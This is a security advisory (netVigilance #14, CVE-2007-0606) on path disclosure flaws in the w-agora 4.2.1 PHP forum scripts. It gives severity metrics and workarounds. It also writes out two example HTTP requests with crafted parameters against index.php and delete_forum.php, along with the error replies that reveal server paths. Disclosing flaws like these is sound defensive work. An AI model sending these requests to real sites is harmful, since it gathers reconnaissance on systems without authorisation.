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w-agora version 4.2.1 Multiple Path Disclosure Vulnerabilities



w-agora version 4.2.1 Multiple Path Disclosure Vulnerabilities
w-agora version 4.2.1 Multiple Path Disclosure Vulnerabilities



netVigilance Security Advisory #14

w-agora version 4.2.1 Multiple Path Disclosure Vulnerabilities 

Description:
w-agora is a set of scripts written in PHP. This package is intended to allow users to share, exchange and publish information, files and discussions over the web.
Multiple path disclosure vulnerabilities allow the attacker to disclose the true path of the server-side scripts.
Advisory URL: 
http://www.netvigilance.com/advisory0014 

External References: 
Mitre CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0606 
NVD NIST: http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-0606 
OSVDB: 31668 http://www.osvdb.com/displayvuln.php?osvdb_id=31668 
OSVDB: 31669 http://www.osvdb.com/displayvuln.php?osvdb_id=31669 

Summary: 
w-agora is a set of scripts written in PHP intended to allow users to share, exchange and publish information, files and discussions over the web. 
Security issues in the product allow attackers to gather the true path of the server-side scripts. 
This vulnerabilities can be exploited only when PHP register_globals is On.

Release Date: March 19, 2007

Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.3
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
 
Vulnerability Impact: Attack
Host Impact: Path disclosure.


SecureScout Testcase ID:
TC 17941

Vulnerable Systems:
w-agora version 4.2.1

Vulnerability Type:
Program flaw =96 The delete_forum.php and index.php scripts have flaws which lead to Warnings or even Fatal Errors.
Vendor:
Author Marc Druilhe. 

Vendor Status: 
The Vendor has been notified on January 30th 2007, and has not responded.
Workaround:
Set PHP register_globals to Off.
Disable warning messages: modify in the php.ini file following line: display_errors = Off.
Or modify .htaccess file (this will work only for the apache servers).

Example: 
Path Disclosure Vulnerability 1:
REQUEST
http://[TARGET]/[w-agora-directory]/index.php?bn[]=1 
REPLY

Warning: basename() expects parameter 1 to be string, array given in http://[TARGET]/[w-agora-directory]\index.php on line 29
ERROR_NO_CONFIG_FILEconf/site_agora.php Path Disclosure Vulnerability 2: http://[TARGET]/[w-agora-directory]/delete_forum.php?remove_site=1&cfg_dir=1&bn=1&ext=1&bn=&site_cfg_file=1 REPLY
Fatal error: Call to undefined function: msgform() in http://[TARGET]/[w-agora-directory]\delete_forum.php on line 22
Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com


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